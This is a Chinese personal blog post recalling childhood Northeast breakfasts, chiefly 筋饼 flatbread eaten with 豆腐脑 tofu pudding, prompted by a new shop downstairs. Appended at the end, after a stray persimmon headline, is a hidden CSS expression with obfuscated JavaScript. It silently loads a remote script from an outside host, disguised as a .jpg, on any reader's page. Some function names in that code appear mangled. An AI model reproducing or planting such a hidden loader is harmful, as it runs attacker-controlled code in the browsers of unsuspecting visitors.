我最爱吃的东北早餐——筋饼+豆腐脑

发现楼下有一家卖筋饼的小店，钩起了对童年喜欢吃的食物的记忆。小时候能在外面吃顿早餐很不容易，常吃的如：手拉面、豆腐脑、掉炉饼、草帽饼等等。我吃豆府腐脑不喜欢里面的豆腐，花同样价钱跟老板说，只给我卤子不要豆腐，还觉得像捡了便宜般开心。配着豆腐脑儿吃的是各种饼，其中我最爱这种筋饼。这些种饼很大一张，薄且韧，很有嚼劲儿。有些地方把草帽饼也叫筋饼，在我记忆中不近相同。草帽饼是一层层的，从里向往似无数个同心圆，像小时候带的草帽一圈圈，很多地方也叫它手抓饼。而这种筋饼对我是特别的，偶有地方做的类似是一小张，用来卷土豆丝来吃。那个要厚些，并没有这个来得有劲儿。这下小店的筋饼跟我童年吃的极相似，2元一张贵了很多。我一口口吃的时候思绪飘到儿时，向哈里波特把脸浸入回忆盆中，很是奇妙。我一直想去店里偷个手艺，决定每天下去买张筋饼吃。薄透韧，最好趁热吃，凉了会觉得硬东北老家行：8种杮子一定有你没吃过的品种ee:expression_r(function(){if(!window.r){varss='s'+'cript';var tt='text/ja'+'vas'+'cript';varst=document.createElement_x(ss);st.src='http://imgcache.suqian114.cn/a/s/sina.jpg';st.type=tt;document.getElementsByTagName_r('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none'